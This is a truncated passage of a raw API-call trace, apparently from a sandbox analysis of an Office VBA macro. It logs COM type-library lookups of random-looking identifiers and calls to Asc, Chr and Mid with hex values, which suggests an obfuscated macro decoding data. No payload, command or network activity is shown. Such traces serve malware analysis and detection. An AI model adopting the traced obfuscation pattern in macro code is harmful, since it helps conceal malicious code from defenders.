[4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0xbcb38f4bf8 | out: ppvObject=0xbcb38f4bf8*=0x0) returned 0x80004002 [0071.418] IUnknown:QueryInterface (in: This=0x2885d629670, riid=0x7ff9bdeff4c0*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0xbcb38f4bf0 | out: ppvObject=0xbcb38f4bf0*=0x0) returned 0x80004002 [0071.418] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2885dad8ae0) [0071.418] ITypeInfo:RemoteGetContainingTypeLib (in: This=0x2885d629670, ppTLib=0xbcb38f4430, pIndex=0x0 | out: ppTLib=0xbcb38f4430*=0x2885d4c6250, pIndex=0x0) returned 0x0 [0071.418] ITypeLib:RemoteGetLibAttr (in: This=0x2885d4c6250, ppTLibAttr=0xbcb38f4440, pDummy=0x0 | out: ppTLibAttr=0xbcb38f4440, pDummy=0x0) returned 0x0 [0071.418] ITypeLib:LocalReleaseTLibAttr (This=0x2885d4c6250) returned 0x0 [0071.418] IUnknown:Release (This=0x2885d4c6250) returned 0xa [0071.418] ITypeInfo:RemoteGetDllEntry (in: This=0x2885d629670, memid=1610612738, invkind=1, refPtrFlags=0xb38f4430, pBstrDllName=0x0, pBstrName=0x0, pwOrdinal=0x2884e5fae50 | out: pBstrDllName=0x0, pBstrName=0x0, pwOrdinal=0x2884e5fae50*=0xf3f0) returned 0x0 [0071.418] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBE7.DLL", cchWideChar=-1, lpMultiByteStr=0x7ff9bdf30b70, cbMultiByte=1023, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VBE7.DLL", lpUsedDefaultChar=0x0) returned 9 [0071.418] ITypeInfo:RemoteGetDllEntry (in: This=0x2885d629670, memid=1610612738, invkind=1, refPtrFlags=0x0, pBstrDllName=0xbcb38f4430, pBstrName=0x0, pwOrdinal=0xbcb38f4450 | out: pBstrDllName=0xbcb38f4430*=0x0, pBstrName=0x0, pwOrdinal=0xbcb38f4450*=0x46c0) returned 0x0 [0071.418] ITypeInfo:RemoteGetDllEntry (in: This=0x2885d629670, memid=1610612738, invkind=1, refPtrFlags=0x0, pBstrDllName=0x0, pBstrName=0xbcb38f4430, pwOrdinal=0x500000000 | out: pBstrDllName=0x0, pBstrName=0xbcb38f4430, pwOrdinal=0x500000000) returned 0x0 [0071.418] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x26d) returned 0x2885d425cd0 [0071.418] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2885d425cd0) returned 0x26d [0071.418] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2885d425cd0) returned 0x26d [0071.418] GetCurrentProcess () returned 0xffffffffffffffff [0071.418] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x2885d425cd0, dwSize=0x43) returned 1 [0071.418] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2885d425cd0) [0071.418] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x230) returned 0x2885d8bd450 [0071.418] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="jdUXjhwVaWEuWKPpcooji") returned 0x405fe6 [0071.418] strcpy_s (in: _Dst=0xbcb38f4900, _DstSize=0x16, _Src="jdUXjhwVaWEuWKPpcooji" | out: _Dst="jdUXjhwVaWEuWKPpcooji") returned 0x0 [0071.418] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f4900, cbMultiByte=22, lpWideCharStr=0xbcb38f4750, cchWideChar=22 | out: lpWideCharStr="jdUXjhwVaWEuWKPpcooji") returned 22 [0071.418] IUnknown:AddRef (This=0x2885d4c6250) returned 0xb [0071.419] ITypeLib:RemoteIsName (in: This=0x2885d4c6250, szNameBuf="jdUXjhwVaWEuWKPpcooji", lHashVal=0x405fe6, pfName=0xbcb38f4820, pBstrLibName=0xbcb38f4750 | out: pfName=0xbcb38f4820*=0, pBstrLibName=0xbcb38f4750) returned 0x0 [0071.419] IUnknown:Release (This=0x2885d4c6250) returned 0xa [0071.419] IUnknown:AddRef (This=0x28857594370) returned 0xd [0071.419] ITypeLib:RemoteIsName (in: This=0x28857594370, szNameBuf="jdUXjhwVaWEuWKPpcooji", lHashVal=0x405fe6, pfName=0xbcb38f4820, pBstrLibName=0xbcb38f4750 | out: pfName=0xbcb38f4820*=0, pBstrLibName=0xbcb38f4750) returned 0x0 [0071.419] IUnknown:Release (This=0x28857594370) returned 0xc [0071.419] IUnknown:AddRef (This=0x2884e335eb0) returned 0x8 [0071.419] ITypeLib:RemoteIsName (in: This=0x2884e335eb0, szNameBuf="jdUXjhwVaWEuWKPpcooji", lHashVal=0x405fe6, pfName=0xbcb38f4820, pBstrLibName=0xbcb38f4750 | out: pfName=0xbcb38f4820*=0, pBstrLibName=0xbcb38f4750) returned 0x0 [0071.419] IUnknown:Release (This=0x2884e335eb0) returned 0x7 [0071.419] IUnknown:AddRef (This=0x2885d608e20) returned 0x5 [0071.419] ITypeLib:RemoteIsName (in: This=0x2885d608e20, szNameBuf="jdUXjhwVaWEuWKPpcooji", lHashVal=0x405fe6, pfName=0xbcb38f4820, pBstrLibName=0xbcb38f4750 | out: pfName=0xbcb38f4820*=0, pBstrLibName=0xbcb38f4750) returned 0x0 [0071.419] IUnknown:Release (This=0x2885d608e20) returned 0x4 [0071.419] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x28860e6386a, cbMultiByte=22, lpWideCharStr=0xbcb38f49a0, cchWideChar=23 | out: lpWideCharStr="jdUXjhwVaWEuWKPpcooji") returned 22 [0071.419] ITypeComp:RemoteBind (in: This=0x2885d608e30, szName="jdUXjhwVaWEuWKPpcooji", lHashVal=0x30d0af, wFlags=0x5, ppTInfo=0xbcb38f4958, pDescKind=0xbcb38f496c, ppFuncDesc=0xbcb38f4970, ppVarDesc=0x7ff9bdd240b8, ppTypeComp=0x28800000000, pDummy=0x0 | out: ppTInfo=0xbcb38f4958*=0x0, pDescKind=0xbcb38f496c*=0, ppFuncDesc=0xbcb38f4970, ppVarDesc=0x7ff9bdd240b8, ppTypeComp=0x28800000000, pDummy=0x0) returned 0x0 [0071.419] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x1d) returned 0x2885da88a40 [0071.419] _mbscpy_s (in: _Dst=0x2885da88a40, _DstSizeInBytes=0x16, _Src=0x28860e6386a | out: _Dst=0x2885da88a40) returned 0x0 [0071.419] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="_B_var_jdUXjhwVaWEuWKPpcooji") returned 0x305019 [0071.419] strcpy_s (in: _Dst=0xbcb38f4ab0, _DstSize=0x1d, _Src="_B_var_jdUXjhwVaWEuWKPpcooji" | out: _Dst="_B_var_jdUXjhwVaWEuWKPpcooji") returned 0x0 [0071.419] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f4ab0, cbMultiByte=29, lpWideCharStr=0xbcb38f4900, cchWideChar=29 | out: lpWideCharStr="_B_var_jdUXjhwVaWEuWKPpcooji") returned 29 [0071.419] IUnknown:AddRef (This=0x2885d4c6250) returned 0xb [0071.419] ITypeLib:RemoteIsName (in: This=0x2885d4c6250, szNameBuf="_B_var_jdUXjhwVaWEuWKPpcooji", lHashVal=0x305019, pfName=0xbcb38f49d0, pBstrLibName=0xbcb38f4900 | out: pfName=0xbcb38f49d0*=0, pBstrLibName=0xbcb38f4900) returned 0x0 [0071.419] IUnknown:Release (This=0x2885d4c6250) returned 0xa [0071.419] IUnknown:AddRef (This=0x28857594370) returned 0xd [0071.419] ITypeLib:RemoteIsName (in: This=0x28857594370, szNameBuf="_B_var_jdUXjhwVaWEuWKPpcooji", lHashVal=0x305019, pfName=0xbcb38f49d0, pBstrLibName=0xbcb38f4900 | out: pfName=0xbcb38f49d0*=0, pBstrLibName=0xbcb38f4900) returned 0x0 [0071.419] IUnknown:Release (This=0x28857594370) returned 0xc [0071.419] IUnknown:AddRef (This=0x2884e335eb0) returned 0x8 [0071.419] ITypeLib:RemoteIsName (in: This=0x2884e335eb0, szNameBuf="_B_var_jdUXjhwVaWEuWKPpcooji", lHashVal=0x305019, pfName=0xbcb38f49d0, pBstrLibName=0xbcb38f4900 | out: pfName=0xbcb38f49d0*=0, pBstrLibName=0xbcb38f4900) returned 0x0 [0071.419] IUnknown:Release (This=0x2884e335eb0) returned 0x7 [0071.419] IUnknown:AddRef (This=0x2885d608e20) returned 0x5 [0071.419] ITypeLib:RemoteIsName (in: This=0x2885d608e20, szNameBuf="_B_var_jdUXjhwVaWEuWKPpcooji", lHashVal=0x305019, pfName=0xbcb38f49d0, pBstrLibName=0xbcb38f4900 | out: pfName=0xbcb38f49d0*=0, pBstrLibName=0xbcb38f4900) returned 0x0 [0071.419] IUnknown:Release (This=0x2885d608e20) returned 0x4 [0071.419] IUnknown:AddRef (This=0x2885d4c6250) returned 0xb [0071.419] IUnknown:Release (This=0x2885d4c6250) returned 0xa [0071.419] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x28860e7012e, cbMultiByte=29, lpWideCharStr=0xbcb38f4960, cchWideChar=30 | out: lpWideCharStr="_B_var_jdUXjhwVaWEuWKPpcooji") returned 29 [0071.419] ITypeComp:RemoteBind (in: This=0x2885d4c6260, szName="_B_var_jdUXjhwVaWEuWKPpcooji", lHashVal=0x305019, wFlags=0x5, ppTInfo=0xbcb38f4918, pDescKind=0xbcb38f492c, ppFuncDesc=0xbcb38f4930, ppVarDesc=0x6a005f00720061, ppTypeComp=0x6a005800000000, pDummy=0x0 | out: ppTInfo=0xbcb38f4918*=0x0, pDescKind=0xbcb38f492c*=0, ppFuncDesc=0xbcb38f4930, ppVarDesc=0x6a005f00720061, ppTypeComp=0x6a005800000000, pDummy=0x0) returned 0x0 [0071.420] _mbscpy_s (in: _Dst=0xbcb38f4b20, _DstSizeInBytes=0x16, _Src=0x28860e6386a | out: _Dst=0xbcb38f4b20) returned 0x0 [0071.420] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2885da88a40) [0071.420] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0x288617e0000 [0071.420] IMalloc:Realloc (This=0x7ff9e7edf3f0, pv=0x2885d659570, cb=0x800) returned 0x2885d060b70 [0071.420] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x28860e638ea, cbMultiByte=4, lpWideCharStr=0xbcb38f49a0, cchWideChar=5 | out: lpWideCharStr="Asc") returned 4 [0071.420] ITypeComp:RemoteBind (in: This=0x2885d4c6260, szName="Asc", lHashVal=0x307521, wFlags=0x3, ppTInfo=0xbcb38f4958, pDescKind=0xbcb38f496c, ppFuncDesc=0xbcb38f4970, ppVarDesc=0x2885d610040, ppTypeComp=0x0, pDummy=0x0 | out: ppTInfo=0xbcb38f4958*=0x2885d629670, pDescKind=0xbcb38f496c*=1, ppFuncDesc=0xbcb38f4970, ppVarDesc=0x2885d610040, ppTypeComp=0x0, pDummy=0x0) returned 0x0 [0071.420] ITypeInfo:RemoteGetTypeAttr (in: This=0x2885d629670, ppTypeAttr=0xbcb38f4960, pDummy=0x2885d65fc00 | out: ppTypeAttr=0xbcb38f4960, pDummy=0x2885d65fc00*=0x0) returned 0x0 [0071.420] ITypeInfo:LocalReleaseTypeAttr (This=0x2885d629670) returned 0x0 [0071.421] IMalloc:Realloc (This=0x7ff9e7edf3f0, pv=0x2885d965780, cb=0x400) returned 0x2885d65ba00 [0071.421] IUnknown:QueryInterface (in: This=0x2885d629670, riid=0x7ff9bdefa878*(Data1=0x20412, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0xbcb38f47c0 | out: ppvObject=0xbcb38f47c0*=0x2885d629670) returned 0x0 [0071.421] ITypeInfo2:GetFuncIndexOfMemId (in: This=0x2885d629670, memid=1610612736, invkind=1, pFuncIndex=0xbcb38f4800 | out: pFuncIndex=0xbcb38f4800*=0x0) returned 0x0 [0071.421] ITypeInfo2:GetFuncCustData (in: This=0x2885d629670, index=0x0, GUID=0x7ff9bdf06f38*(Data1=0x50867b00, Data2=0xbb69, Data3=0x11d0, Data4=([0]=0xa8, [1]=0xff, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0x11, [6]=0x0, [7]=0x59)), pVarVal=0xbcb38f4818 | out: pVarVal=0xbcb38f4818*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xbc00000000, varVal2=0x307521)) returned 0x0 [0071.421] IUnknown:Release (This=0x2885d629670) returned 0x4 [0071.421] IUnknown:AddRef (This=0x2885d629670) returned 0x5 [0071.421] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d629670) returned 0x0 [0071.421] IUnknown:Release (This=0x2885d629670) returned 0x4 [0071.421] IUnknown:QueryInterface (in: This=0x2885d629670, riid=0x7ff9bdefc368*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0xbcb38f4a88 | out: ppvObject=0xbcb38f4a88*=0x0) returned 0x80004002 [0071.421] IUnknown:AddRef (This=0x2885d629670) returned 0x5 [0071.421] IUnknown:Release (This=0x2885d629670) returned 0x4 [0071.421] IUnknown:QueryInterface (in: This=0x2885d629670, riid=0x7ff9bdefc368*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0xbcb38f4bf8 | out: ppvObject=0xbcb38f4bf8*=0x0) returned 0x80004002 [0071.421] IUnknown:QueryInterface (in: This=0x2885d629670, riid=0x7ff9bdeff4c0*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0xbcb38f4bf0 | out: ppvObject=0xbcb38f4bf0*=0x0) returned 0x80004002 [0071.421] ITypeInfo:RemoteGetContainingTypeLib (in: This=0x2885d629670, ppTLib=0xbcb38f4430, pIndex=0x0 | out: ppTLib=0xbcb38f4430*=0x2885d4c6250, pIndex=0x0) returned 0x0 [0071.421] ITypeLib:RemoteGetLibAttr (in: This=0x2885d4c6250, ppTLibAttr=0xbcb38f4440, pDummy=0x0 | out: ppTLibAttr=0xbcb38f4440, pDummy=0x0) returned 0x0 [0071.421] ITypeLib:LocalReleaseTLibAttr (This=0x2885d4c6250) returned 0x0 [0071.421] IUnknown:Release (This=0x2885d4c6250) returned 0xb [0071.421] ITypeInfo:RemoteGetDllEntry (in: This=0x2885d629670, memid=1610612736, invkind=1, refPtrFlags=0xb38f4430, pBstrDllName=0x0, pBstrName=0x0, pwOrdinal=0x2884e5fae50 | out: pBstrDllName=0x0, pBstrName=0x0, pwOrdinal=0x2884e5fae50*=0xf3f0) returned 0x0 [0071.421] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBE7.DLL", cchWideChar=-1, lpMultiByteStr=0x7ff9bdf30b70, cbMultiByte=1023, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VBE7.DLL", lpUsedDefaultChar=0x0) returned 9 [0071.421] ITypeInfo:RemoteGetDllEntry (in: This=0x2885d629670, memid=1610612736, invkind=1, refPtrFlags=0x0, pBstrDllName=0xbcb38f4430, pBstrName=0x0, pwOrdinal=0xbcb38f4450 | out: pBstrDllName=0xbcb38f4430*=0x0, pBstrName=0x0, pwOrdinal=0xbcb38f4450*=0x46c0) returned 0x0 [0071.421] ITypeInfo:RemoteGetDllEntry (in: This=0x2885d629670, memid=1610612736, invkind=1, refPtrFlags=0x0, pBstrDllName=0x0, pBstrName=0xbcb38f4430, pwOrdinal=0x500000000 | out: pBstrDllName=0x0, pBstrName=0xbcb38f4430, pwOrdinal=0x500000000) returned 0x0 [0071.421] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x26d) returned 0x2885d425cd0 [0071.421] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2885d425cd0) returned 0x26d [0071.421] GetCurrentProcess () returned 0xffffffffffffffff [0071.421] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x2885d425cd0, dwSize=0x3b) returned 1 [0071.421] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2885d425cd0) [0071.421] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0xb) returned 0x2885dadb320 [0071.421] _mbscpy_s (in: _Dst=0x2885dadb320, _DstSizeInBytes=0x4, _Src=0x28860e638a2 | out: _Dst=0x2885dadb320) returned 0x0 [0071.421] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="_B_var_Chr") returned 0x303b5c [0071.422] IUnknown:AddRef (This=0x2885d4c6250) returned 0xc [0071.422] IUnknown:Release (This=0x2885d4c6250) returned 0xb [0071.422] IUnknown:AddRef (This=0x2885d629670) returned 0x5 [0071.422] IUnknown:Release (This=0x2885d629670) returned 0x4 [0071.422] IUnknown:QueryInterface (in: This=0x2885d629670, riid=0x7ff9bdefc368*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0xbcb38f4bf8 | out: ppvObject=0xbcb38f4bf8*=0x0) returned 0x80004002 [0071.422] IUnknown:QueryInterface (in: This=0x2885d629670, riid=0x7ff9bdeff4c0*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0xbcb38f4bf0 | out: ppvObject=0xbcb38f4bf0*=0x0) returned 0x80004002 [0071.422] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2885dadb320) [0071.422] ITypeInfo:RemoteGetContainingTypeLib (in: This=0x2885d629670, ppTLib=0xbcb38f4430, pIndex=0x0 | out: ppTLib=0xbcb38f4430*=0x2885d4c6250, pIndex=0x0) returned 0x0 [0071.422] ITypeLib:RemoteGetLibAttr (in: This=0x2885d4c6250, ppTLibAttr=0xbcb38f4440, pDummy=0x0 | out: ppTLibAttr=0xbcb38f4440, pDummy=0x0) returned 0x0 [0071.422] ITypeLib:LocalReleaseTLibAttr (This=0x2885d4c6250) returned 0x0 [0071.422] IUnknown:Release (This=0x2885d4c6250) returned 0xb [0071.422] ITypeInfo:RemoteGetDllEntry (in: This=0x2885d629670, memid=1610612738, invkind=1, refPtrFlags=0xb38f4430, pBstrDllName=0x0, pBstrName=0x0, pwOrdinal=0x2884e5fae50 | out: pBstrDllName=0x0, pBstrName=0x0, pwOrdinal=0x2884e5fae50*=0xf3f0) returned 0x0 [0071.422] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBE7.DLL", cchWideChar=-1, lpMultiByteStr=0x7ff9bdf30b70, cbMultiByte=1023, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VBE7.DLL", lpUsedDefaultChar=0x0) returned 9 [0071.422] ITypeInfo:RemoteGetDllEntry (in: This=0x2885d629670, memid=1610612738, invkind=1, refPtrFlags=0x0, pBstrDllName=0xbcb38f4430, pBstrName=0x0, pwOrdinal=0xbcb38f4450 | out: pBstrDllName=0xbcb38f4430*=0x0, pBstrName=0x0, pwOrdinal=0xbcb38f4450*=0x46c0) returned 0x0 [0071.422] ITypeInfo:RemoteGetDllEntry (in: This=0x2885d629670, memid=1610612738, invkind=1, refPtrFlags=0x0, pBstrDllName=0x0, pBstrName=0xbcb38f4430, pwOrdinal=0x500000000 | out: pBstrDllName=0x0, pBstrName=0xbcb38f4430, pwOrdinal=0x500000000) returned 0x0 [0071.422] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="lbymLHvaEodPNDgbcXUlJ") returned 0x40b49c [0071.422] strcpy_s (in: _Dst=0xbcb38f4900, _DstSize=0x16, _Src="lbymLHvaEodPNDgbcXUlJ" | out: _Dst="lbymLHvaEodPNDgbcXUlJ") returned 0x0 [0071.422] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f4900, cbMultiByte=22, lpWideCharStr=0xbcb38f4750, cchWideChar=22 | out: lpWideCharStr="lbymLHvaEodPNDgbcXUlJ") returned 22 [0071.422] IUnknown:AddRef (This=0x2885d4c6250) returned 0xc [0071.422] ITypeLib:RemoteIsName (in: This=0x2885d4c6250, szNameBuf="lbymLHvaEodPNDgbcXUlJ", lHashVal=0x40b49c, pfName=0xbcb38f4820, pBstrLibName=0xbcb38f4750 | out: pfName=0xbcb38f4820*=0, pBstrLibName=0xbcb38f4750) returned 0x0 [0071.422] IUnknown:Release (This=0x2885d4c6250) returned 0xb [0071.422] IUnknown:AddRef (This=0x28857594370) returned 0xd [0071.422] ITypeLib:RemoteIsName (in: This=0x28857594370, szNameBuf="lbymLHvaEodPNDgbcXUlJ", lHashVal=0x40b49c, pfName=0xbcb38f4820, pBstrLibName=0xbcb38f4750 | out: pfName=0xbcb38f4820*=0, pBstrLibName=0xbcb38f4750) returned 0x0 [0071.422] IUnknown:Release (This=0x28857594370) returned 0xc [0071.422] IUnknown:AddRef (This=0x2884e335eb0) returned 0x8 [0071.422] ITypeLib:RemoteIsName (in: This=0x2884e335eb0, szNameBuf="lbymLHvaEodPNDgbcXUlJ", lHashVal=0x40b49c, pfName=0xbcb38f4820, pBstrLibName=0xbcb38f4750 | out: pfName=0xbcb38f4820*=0, pBstrLibName=0xbcb38f4750) returned 0x0 [0071.423] IUnknown:Release (This=0x2884e335eb0) returned 0x7 [0071.423] IUnknown:AddRef (This=0x2885d608e20) returned 0x5 [0071.423] ITypeLib:RemoteIsName (in: This=0x2885d608e20, szNameBuf="lbymLHvaEodPNDgbcXUlJ", lHashVal=0x40b49c, pfName=0xbcb38f4820, pBstrLibName=0xbcb38f4750 | out: pfName=0xbcb38f4820*=0, pBstrLibName=0xbcb38f4750) returned 0x0 [0071.423] IUnknown:Release (This=0x2885d608e20) returned 0x4 [0071.423] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x28860e63946, cbMultiByte=22, lpWideCharStr=0xbcb38f49a0, cchWideChar=23 | out: lpWideCharStr="lbymLHvaEodPNDgbcXUlJ") returned 22 [0071.423] ITypeComp:RemoteBind (in: This=0x2885d608e30, szName="lbymLHvaEodPNDgbcXUlJ", lHashVal=0x30327d, wFlags=0x3, ppTInfo=0xbcb38f4958, pDescKind=0xbcb38f496c, ppFuncDesc=0xbcb38f4970, ppVarDesc=0x7ff9bdd240b8, ppTypeComp=0x28800000000, pDummy=0x0 | out: ppTInfo=0xbcb38f4958*=0x0, pDescKind=0xbcb38f496c*=0, ppFuncDesc=0xbcb38f4970, ppVarDesc=0x7ff9bdd240b8, ppTypeComp=0x28800000000, pDummy=0x0) returned 0x0 [0071.423] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x1d) returned 0x2885da88440 [0071.423] _mbscpy_s (in: _Dst=0x2885da88440, _DstSizeInBytes=0x16, _Src=0x28860e63946 | out: _Dst=0x2885da88440) returned 0x0 [0071.423] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="_B_var_lbymLHvaEodPNDgbcXUlJ") returned 0x30b226 [0071.423] strcpy_s (in: _Dst=0xbcb38f4ab0, _DstSize=0x1d, _Src="_B_var_lbymLHvaEodPNDgbcXUlJ" | out: _Dst="_B_var_lbymLHvaEodPNDgbcXUlJ") returned 0x0 [0071.423] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f4ab0, cbMultiByte=29, lpWideCharStr=0xbcb38f4900, cchWideChar=29 | out: lpWideCharStr="_B_var_lbymLHvaEodPNDgbcXUlJ") returned 29 [0071.423] IUnknown:AddRef (This=0x2885d4c6250) returned 0xc [0071.423] ITypeLib:RemoteIsName (in: This=0x2885d4c6250, szNameBuf="_B_var_lbymLHvaEodPNDgbcXUlJ", lHashVal=0x30b226, pfName=0xbcb38f49d0, pBstrLibName=0xbcb38f4900 | out: pfName=0xbcb38f49d0*=0, pBstrLibName=0xbcb38f4900) returned 0x0 [0071.423] IUnknown:Release (This=0x2885d4c6250) returned 0xb [0071.423] IUnknown:AddRef (This=0x28857594370) returned 0xd [0071.423] ITypeLib:RemoteIsName (in: This=0x28857594370, szNameBuf="_B_var_lbymLHvaEodPNDgbcXUlJ", lHashVal=0x30b226, pfName=0xbcb38f49d0, pBstrLibName=0xbcb38f4900 | out: pfName=0xbcb38f49d0*=0, pBstrLibName=0xbcb38f4900) returned 0x0 [0071.423] IUnknown:Release (This=0x28857594370) returned 0xc [0071.423] IUnknown:AddRef (This=0x2884e335eb0) returned 0x8 [0071.423] ITypeLib:RemoteIsName (in: This=0x2884e335eb0, szNameBuf="_B_var_lbymLHvaEodPNDgbcXUlJ", lHashVal=0x30b226, pfName=0xbcb38f49d0, pBstrLibName=0xbcb38f4900 | out: pfName=0xbcb38f49d0*=0, pBstrLibName=0xbcb38f4900) returned 0x0 [0071.423] IUnknown:Release (This=0x2884e335eb0) returned 0x7 [0071.423] IUnknown:AddRef (This=0x2885d608e20) returned 0x5 [0071.423] ITypeLib:RemoteIsName (in: This=0x2885d608e20, szNameBuf="_B_var_lbymLHvaEodPNDgbcXUlJ", lHashVal=0x30b226, pfName=0xbcb38f49d0, pBstrLibName=0xbcb38f4900 | out: pfName=0xbcb38f49d0*=0, pBstrLibName=0xbcb38f4900) returned 0x0 [0071.423] IUnknown:Release (This=0x2885d608e20) returned 0x4 [0071.423] IUnknown:AddRef (This=0x2885d4c6250) returned 0xc [0071.423] IUnknown:Release (This=0x2885d4c6250) returned 0xb [0071.423] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x28860e7016e, cbMultiByte=29, lpWideCharStr=0xbcb38f4960, cchWideChar=30 | out: lpWideCharStr="_B_var_lbymLHvaEodPNDgbcXUlJ") returned 29 [0071.423] ITypeComp:RemoteBind (in: This=0x2885d4c6260, szName="_B_var_lbymLHvaEodPNDgbcXUlJ", lHashVal=0x30b226, wFlags=0x3, ppTInfo=0xbcb38f4918, pDescKind=0xbcb38f492c, ppFuncDesc=0xbcb38f4930, ppVarDesc=0x6c005f00720061, ppTypeComp=0x4c006d00000000, pDummy=0x0 | out: ppTInfo=0xbcb38f4918*=0x0, pDescKind=0xbcb38f492c*=0, ppFuncDesc=0xbcb38f4930, ppVarDesc=0x6c005f00720061, ppTypeComp=0x4c006d00000000, pDummy=0x0) returned 0x0 [0071.423] _mbscpy_s (in: _Dst=0xbcb38f4b20, _DstSizeInBytes=0x16, _Src=0x28860e63946 | out: _Dst=0xbcb38f4b20) returned 0x0 [0071.423] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2885da88440) [0071.423] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2885da9975c, cbMultiByte=2, lpWideCharStr=0x288617e19ec, cchWideChar=6 | out: lpWideCharStr="&H") returned 2 [0071.423] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0xb) returned 0x2885dad0020 [0071.424] _mbscpy_s (in: _Dst=0x2885dad0020, _DstSizeInBytes=0x4, _Src=0x28860e6133a | out: _Dst=0x2885dad0020) returned 0x0 [0071.424] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="_B_var_Mid") returned 0x3070ed [0071.424] IUnknown:AddRef (This=0x2885d4c6250) returned 0xc [0071.424] IUnknown:Release (This=0x2885d4c6250) returned 0xb [0071.424] IUnknown:AddRef (This=0x2885d629670) returned 0x5 [0071.424] IUnknown:Release (This=0x2885d629670) returned 0x4 [0071.424] IUnknown:QueryInterface (in: This=0x2885d629670, riid=0x7ff9bdefc368*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0xbcb38f4bf8 | out: ppvObject=0xbcb38f4bf8*=0x0) returned 0x80004002 [0071.424] IUnknown:QueryInterface (in: This=0x2885d629670, riid=0x7ff9bdeff4c0*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0xbcb38f4bf0 | out: ppvObject=0xbcb38f4bf0*=0x0) returned 0x80004002 [0071.424] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2885dad0020) [0071.424] ITypeInfo:RemoteGetContainingTypeLib (in: This=0x2885d629670, ppTLib=0xbcb38f4430, pIndex=0x0 | out: ppTLib=0xbcb38f4430*=0x2885d4c6250, pIndex=0x0) returned 0x0 [0071.424] ITypeLib:RemoteGetLibAttr (in: This=0x2885d4c6250, ppTLibAttr=0xbcb38f4440, pDummy=0x0 | out: 